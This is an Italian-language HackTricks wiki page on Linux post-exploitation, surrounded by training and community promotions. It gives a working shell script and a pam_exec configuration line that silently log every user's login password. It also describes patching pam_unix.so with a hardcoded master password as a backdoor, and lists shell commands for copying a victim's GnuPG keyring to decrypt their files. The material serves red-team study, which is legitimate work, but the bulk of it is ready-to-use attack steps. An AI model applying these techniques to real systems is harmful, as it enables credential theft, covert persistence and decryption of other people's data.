Linux Post-Exploitation
Reading time: 5 minutes
tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:
HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
Sniffing Logon Passwords with PAM
Configuriamo un modulo PAM per registrare ogni password che gli utenti usano per il login. Se non sai cos'è PAM controlla:
PAM - Pluggable Authentication Modules
Per maggiori dettagli consulta il post originale. Questa è solo una sintesi:
Technique Overview: Pluggable Authentication Modules (PAM) offrono flessibilità nella gestione dell'autenticazione sui sistemi basati su Unix. Possono migliorare la sicurezza personalizzando i processi di login, ma rappresentano anche un rischio se usati in modo improprio. Questa sintesi descrive una tecnica per catturare credenziali di accesso usando PAM, insieme a strategie di mitigazione.
Capturing Credentials:
- Uno script bash chiamato
toomanysecrets.shviene creato per registrare i tentativi di login, catturando la data, l'username ($PAM_USER), la password (via stdin) e l'IP dell'host remoto ($PAM_RHOST) in/var/log/toomanysecrets.log. - Lo script viene reso eseguibile e integrato nella configurazione PAM (
common-auth) usando il modulopam_exec.socon opzioni per eseguire in modo silenzioso e per esporre il token di autenticazione allo script. - L'approccio dimostra come un host Linux compromesso possa essere sfruttato per registrare le credenziali in modo discreto.
#!/bin/sh
echo " $(date) $PAM_USER, $(cat -), From: $PAM_RHOST" >> /var/log/toomanysecrets.log
sudo touch /var/log/toomanysecrets.sh
sudo chmod 770 /var/log/toomanysecrets.sh
sudo nano /etc/pam.d/common-auth
# Add: auth optional pam_exec.so quiet expose_authtok /usr/local/bin/toomanysecrets.sh
sudo chmod 700 /usr/local/bin/toomanysecrets.sh
Backdooring PAM
Per ulteriori dettagli controlla il original post. Questa è solo una sintesi:
Il Pluggable Authentication Module (PAM) è un sistema usato su Linux per l'autenticazione degli utenti. Opera su tre concetti principali: username, password, e service. I file di configurazione per ogni service si trovano nella directory /etc/pam.d/, dove le librerie condivise gestiscono l'autenticazione.
Obiettivo: Modificare PAM per consentire l'autenticazione con una password specifica, bypassando la password reale dell'utente. Questo è particolarmente focalizzato sulla libreria condivisa pam_unix.so usata dal file common-auth, che è inclusa da quasi tutti i servizi per la verifica della password.
Steps for Modifying pam_unix.so:
- Locate the Authentication Directive in the
common-authfile:
- La riga responsabile della verifica della password dell'utente chiama
pam_unix.so.
- Modify Source Code:
- Aggiungi un'istruzione condizionale nel file sorgente
pam_unix_auth.cche conceda l'accesso se viene usata una password predefinita; altrimenti procede con il normale processo di autenticazione.
- Recompile and Replace the modified
pam_unix.solibrary in the appropriate directory. - Testing:
- L'accesso viene concesso su vari servizi (login, ssh, sudo, su, screensaver) con la password predefinita, mentre i normali processi di autenticazione restano inalterati.
tip
Puoi automatizzare questo processo con https://github.com/zephrax/linux-pam-backdoor
Decrypting GPG loot via homedir relocation
Se trovi un file criptato .gpg e la cartella ~/.gnupg di un utente (pubring, private-keys, trustdb) ma non puoi decrittare a causa dei permessi/lock dell'homedir di GnuPG, copia il keyring in una posizione scrivibile e usalo come tuo GPG home.
Gli errori tipici che vedrai senza questa soluzione: "unsafe ownership on homedir", "failed to create temporary file", or "decryption failed: No secret key" (perché GPG non può leggere/scrivere l'homedir originale).
Workflow:
# 1) Stage a writable homedir and copy the victim's keyring
mkdir -p /dev/shm/fakehome/.gnupg
cp -r /home/victim/.gnupg/* /dev/shm/fakehome/.gnupg/
# 2) Ensure ownership & perms are sane for gnupg
chown -R $(id -u):$(id -g) /dev/shm/fakehome/.gnupg
chmod 700 /dev/shm/fakehome/.gnupg
# 3) Decrypt using the relocated homedir (either flag works)
GNUPGHOME=/dev/shm/fakehome/.gnupg gpg -d /home/victim/backup/secrets.gpg
# or
gpg --homedir /dev/shm/fakehome/.gnupg -d /home/victim/backup/secrets.gpg
Se il materiale della chiave segreta è presente in private-keys-v1.d, GPG sbloccherà e decifrerà senza richiedere una passphrase (o la richiederà se la chiave è protetta).
References
- 0xdf – HTB Environment (GPG homedir relocation to decrypt loot)
- GnuPG Manual – Home directory and GNUPGHOME
tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:
HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
HackTricks